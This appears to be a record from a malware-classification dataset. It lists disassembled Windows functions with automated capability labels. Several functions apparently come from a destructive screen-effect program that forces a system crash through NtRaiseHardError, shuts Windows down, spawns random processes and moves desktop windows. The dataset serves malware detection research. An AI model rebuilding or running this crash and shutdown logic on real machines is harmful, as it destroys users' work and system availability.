joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022750
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011a00
movzx eax, al
test eax, eax
jne 0x140022770
mov ecx, 7
call fcn.140011843
nop
mov byte [rsp + 0x20], 0
call fcn.14001187f
mov byte [rsp + 0x21], al
cmp dword [0x140033ee0], 1
jne 0x140022794
mov ecx, 7
call fcn.140011843
nop
jmp 0x1400227ec
cmp dword [0x140033ee0], 0
jne 0x1400227e7
mov dword [0x140033ee0], 1
lea rdx, [0x14002b888]
lea rcx, [0x14002b558]
call fcn.14001147e
test eax, eax
je 0x1400227c8
mov eax, 0xff
jmp 0x1400228f1
lea rdx, [0x14002b448]
lea rcx, [section..rdata]
call fcn.140011866
mov dword [0x140033ee0], 2
jmp 0x1400227ec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011816
call fcn.14001173f
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140022849
mov rcx, qword [rsp + 0x30]
call fcn.1400113a2
movzx eax, al
test eax, eax
je 0x140022849
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14003c020]
nop
call fcn.1400117b2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14002287d
mov rcx, qword [rsp + 0x38]
call fcn.1400113a2
movzx eax, al
test eax, eax
je 0x14002287d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001196f
nop
call fcn.1400229a0
mov dword [rsp + 0x28], eax
call fcn.1400116fe
movzx eax, al
test eax, eax
jne 0x14002289c
mov ecx, dword [rsp + 0x28]
call fcn.1400110b4
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400228ab
call fcn.140011983
nop
xor edx, edx
mov cl, 1
call fcn.140011370
mov eax, dword [rsp + 0x28]
jmp 0x1400228f1
add rsp, 0x68
ret
Function at 0x140042060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0x28]
xor esi, esi
sub rax, 0x34
mov qword [rcx + 0x88], rsi
mov qword [rcx + 0x30], rax
mov r14d, edx
mov rax, qword [rcx + 0x38]
mov rbx, rcx
mov word [rcx + 0x7a], si
mov r10d, esi
mov dword [rcx + 0x44], esi
mov ebp, esi
mov qword [rcx + 0x80], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x78], si
cmp si, word [rcx + 0xc8]
jge 0x1400421b8
mov edi, esi
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbx + 0xe0]
mov r9d, r14d
mov dword [rbx + 0x98], esi
movzx edx, r10w
mov qword [rbx + 0x90], rsi
mov rcx, rbx
movzx r8d, word [rax + rdi]
call fcn.1400424b0
test al, al
jne 0x1400421ea
mov rax, qword [rbx + 0xe0]
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x6c]
movzx r10d, word [rax + rdi]
inc r10d
lea eax, [r8 - 1]
test edx, eax
jne 0x14004214d
cmp edx, dword [rbx + 0x70]
jl 0x14004214d
cmp edx, dword [rbx + 0x74]
jg 0x14004214d
mov r9, qword [rbx + 0x90]
test r9, r9
je 0x14004214d
mov rax, qword [rbx + 0x80]
movzx ecx, byte [rax + 0x18]
xor cl, byte [r9 + 0x18]
test cl, 8
jne 0x14004214d
add qword [rbx + 0x38], 0xfffffffffffffffc
mov r9, qword [rbx + 0x80]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x38], rax
je 0x140042173
test byte [r9 + 0x18], 8
je 0x140042173
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x140042184
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.140042f00
test al, al
jne 0x1400421ea
mov rax, qword [rbx + 0x90]
test rax, rax
je 0x1400421a3
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xc8]
inc ebp
add rdi, 2
cmp ebp, eax
jl 0x1400420d0
mov rcx, rbx
call fcn.140042fb0
test al, al
jne 0x1400421ea
mov rcx, qword [rbx + 0x30]
cmp qword [rbx + 0x38], rcx
setae al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov al, 1
jmp 0x1400421cf
Function at 0x140057168
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400571a2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400571a7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400571f0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140071c50]
cmp byte [rcx + rax], 0
je 0x1400571f0
dec r8
sub rdx, 1
jne 0x1400571d6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140058460
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400584aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400584aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400584aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400584aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400584aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400584ac
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14010dfb0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14010dfc0]
mov dword [rax], 1
mov rax, qword [0x14010dfd0]
mov dword [rax], 1
mov rax, qword [0x14010df20]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14010dfa0]
mov dword [0x14013e00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14010e0a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14010e080]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14010cee0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x14010dff0]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001318
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x14010e000]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x14000132f
mov eax, dword [rsi]
test eax, eax
je 0x140001390
mov dword [0x14013e008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x140001344
test edi, edi
je 0x140001365
mov rax, qword [0x14010df60]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x14010dfe0]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x14013e028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x14013e020]
mov rbp, rax
test ebx, ebx
jle 0x1400013b0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14013e020], rbp
call dbg.__main
call dbg.__p___initenv
mov r8, qword [0x14013e018]
mov ecx, dword [0x14013e028]
mov qword [rax], r8
mov rdx, qword [0x14013e020]
call sym.main
mov ecx, dword [0x14013e00c]
mov dword [0x14013e010], eax
test ecx, ecx
je 0x1400013b8
mov edx, dword [0x14013e008]
test edx, edx
je 0x140001370
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x14010e000]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x14010e050]
mov rcx, qword [0x14010e040]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sym._cexit
mov eax, dword [0x14013e010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x14010e070]
mov rcx, qword [0x14010e060]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001430
Capabilities:
Generate random numbers via winapi
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x14013e080]
test rax, rax
jne 0x140001487
mov dword [rsp + 0x20], 0xf0000040
mov r9d, 1
mov r8d, 0
mov edx, 0
lea rax, [0x14013e080]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x140001487
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [0x14013e080]
lea rdx, [rbp - 4]
mov r8, rdx
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
call rax
mov eax, dword [rbp - 4]
and eax, 0x7fffffff
add rsp, 0x40
pop rbp
ret

Function at 0x1400016c0
Capabilities:
Shutdown system

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rax, str.ntdll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtRaiseHardError
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x10], 0
je 0x14000176d
cmp qword [rbp - 0x18], 0
je 0x14000176d
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x31]
mov r9, rdx
mov r8d, 0
mov edx, 1
mov ecx, 0x13
call rax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 6
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0xc0000022
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x20]
mov r8, rdx
mov edx, 0x28
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
lea rax, [rbp - 0x30]
add rax, 4
mov r8, rax
lea rax, str.SeShutdownPrivilege
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
call rax
mov dword [rbp - 0x30], 1
mov dword [rbp - 0x24], 2
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call rax
mov edx, 0x10007
mov ecx, 6
mov rax, qword [sym.imp.USER32.dll_ExitWindowsEx]
call rax
nop
add rsp, 0x70
pop rbp
ret

Function at 0x14000180d
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov dword [rbp - 4], 0
jmp 0x140001864
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.ripMessageThread_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x13
jle 0x140001821
lea rax, [rbp - 0x10]
lea rdx, [sym.killWindowsInstant__]
mov rcx, rax
call method.std::thread.thread_void_________void__void______
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::thread.detach__
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::thread.thread__
jmp 0x1400018b2
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x14000190f
Capabilities:
Enumerate processes
Get process image filename

Disassembly:
push rbp
sub rsp, 0x280
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x210], rcx
mov dword [rbp + 0x1fc], 0
mov edx, 0x200
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x1f0]
mov r8d, 0x200
mov rdx, rax
call sym.K32GetProcessImageFileNameA
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x1e8], rax
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.Process32FirstW
mov dword [rbp + 0x1f8], 0
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 0x400
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1e0], rax
mov edx, 0x200
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp + 0x1d8], rax
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1e0]
mov r8d, 0x200
mov rcx, rax
call sym.K32GetProcessImageFileNameA
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
sete al
test al, al
je 0x140001a33
add dword [rbp + 0x1f8], 1
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.Process32NextW
test eax, eax
setne al
test al, al
jne 0x1400019b3
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x1f8]
cmp eax, dword [rbp + 0x1fc]
jge 0x140001a9f
call sym.killWindows__
mov eax, dword [rbp + 0x1f8]
mov dword [rbp + 0x1fc], eax
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001979
Function at 0x1400097fd
Capabilities:
Get graphical window text

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x1dc], 0xff
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x200]
mov r9, rdx
mov r8d, 0xff
mov edx, 0xd
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
mov dword [rbp + 0x1d8], eax
cmp dword [rbp + 0x1d8], 0
jle 0x140009907
lea rax, [rbp + 0x1c7]
mov qword [rbp + 0x1c8], rax
nop
nop
mov eax, dword [rbp + 0x1d8]
movsxd rcx, eax
lea r8, [rbp + 0x1c7]
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_wchar_t_const__unsigned_long_long__std::allocator_wchar_t__const_
lea rax, [rbp + 0x1c7]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.end__
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.begin__
mov rdx, rbx
mov rcx, rax
call method.void_std::reverse___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t__________gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x200]
mov r9, rdx
mov r8d, 0
mov edx, 0xc
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, 1
jmp 0x140009971
add rsp, 0x260
pop rbx
pop rsi
pop rbp
ret
Function at 0x14000a2f2
Capabilities:
Capture screenshot

Disassembly:
push rbp
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov eax, 0x1440
call fcn.1400201c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1400], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x13b0], rax
mov rax, qword [rbp + 0x13b0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x13a8], rax
mov ecx, dword [0x14013e0e4]
mov edx, dword [0x14013e0e0]
mov rax, qword [rbp + 0x13b0]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x13a0], rax
mov rdx, qword [rbp + 0x13a0]
mov rax, qword [rbp + 0x13a8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov qword [rbp + 0x1398], rax
mov dword [rbp + 0x13bc], 0
jmp 0x14000a548
mov edx, dword [0x14013e0e4]
mov r8d, dword [0x14013e0e0]
mov rax, qword [rbp + 0x13a8]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rcx, qword [rbp + 0x13b0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edx
mov r9d, r8d
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400d0840
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::random_device.operator____
mov edx, eax
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400ddfd0
lea rax, [rbp + 0x1380]
mov r8d, 0xa
mov edx, 0xfffffff6
mov rcx, rax
call method.std::uniform_int_distribution_int_.uniform_int_distribution_int__int_
mov bl, 0
mov eax, 0
mov bh, al
mov eax, ebx
and eax, 0xff00ffff
or eax, 0x460000
mov ebx, eax
mov eax, ebx
and eax, 0xffffff
mov ebx, eax
mov r12d, dword [0x14013e0e4]
mov edi, dword [0x14013e0e0]
mov esi, dword [0x14013e0e4]
mov r14d, dword [0x14013e0e0]
lea rdx, [rbp + 0x9b0]
lea rax, [rbp + 0x1380]
mov rcx, rax
call fcn.1400de190
mov r13d, eax
lea rdx, [rbp + 0x9b0]
lea rax, [rbp + 0x1380]
mov rcx, rax
call fcn.1400de190
mov ecx, eax
mov rax, qword [rbp + 0x13b0]
mov dword [rsp + 0x50], ebx
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x13a8]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], esi
mov r9d, r14d
mov r8d, r13d
mov edx, ecx
mov rcx, rax
mov rax, qword [sym.imp.MSIMG32.dll_AlphaBlend]
call rax
mov rdx, qword [rbp + 0x1398]
mov rax, qword [rbp + 0x13a8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov dword [rbp + 0x1394], 0xc8
lea rdx, [rbp + 0x1394]
lea rax, [rbp + 0x1388]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp + 0x1388]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::random_device.random_device__
add dword [rbp + 0x13bc], 1
cmp dword [rbp + 0x13bc], 0x351
jle 0x14000a3a0
mov eax, 0
jmp 0x14000a582
add rsp, 0x1440
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop rbp
ret
Function at 0x14000a874
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov ecx, eax
call sym.srand
mov dword [rbp - 0xc], 0x1f40
lea rdx, [rbp - 0xc]
lea rax, [rbp - 0x18]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp - 0x18]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
call sym.rand
cdqe
mov rdx, qword [0x14010e170]
mov rcx, qword [rdx]
mov edx, 0
div rcx
mov qword [rbp - 8], rdx
mov rax, qword [0x14010e160]
mov rdx, qword [rbp - 8]
mov rdx, qword [rax + rdx*8]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.GDIPayloads.convertToWstring_abi:cxx11__char_const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteW]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x14000a894

Function at 0x14000d8db
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e3f40
lea rbx, [rbp - 0x20]
lea rax, [rbp - 0x21]
mov rcx, rax
call method.GDIPayloads.MoveAllDesktopWindows_void_::lambda_HWND____long_long_1::operator_int____HWND____long_long____const
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x22]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.GDIPayloads.MoveAllDesktopWindows_void_::lambda__1::operator_____const
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_HWND____std::allocator_HWND_____.vector__
mov eax, 0
jmp 0x14000d965
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x14000f43d
Capabilities:
Terminate thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapDestroy]
call rax
jmp 0x14000f491
nop
add rsp, 0x20
pop rbp
ret